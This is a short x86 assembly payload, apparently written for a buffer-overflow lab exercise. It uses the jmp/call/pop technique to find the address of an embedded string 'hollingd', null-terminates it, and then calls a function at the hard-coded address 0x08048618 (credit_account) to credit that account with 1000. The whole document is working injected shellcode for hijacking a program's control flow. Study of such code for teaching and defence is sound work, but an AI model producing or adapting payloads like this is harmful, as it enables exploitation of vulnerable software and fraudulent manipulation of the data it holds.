# what we need to do: # 1. terminate the string hollingd # 2. put big number in eax and push it. # 3. put address of "hollingd" in eax and push it. # 4. call credit_account .text .p2align 2,0x90 .globl foo .type foo,@function foo: # we need room on the stack! add $-400,%esp # need to get address of "hollingd" jmp strangejump # now tos is address of string skippy: pop %eax # get address of myname xor %ecx,%ecx movb %cl,8(%eax) # null terminate the string add $1000,%cx push %ecx # amount to credit push %eax # address of string movl $0x08048618,%eax # now holding the address of credit_account call *%eax # credit_account leave ret # who knows ? strangejump: call skippy myname: .byte 'h','o','l','l','i','n','g','d',1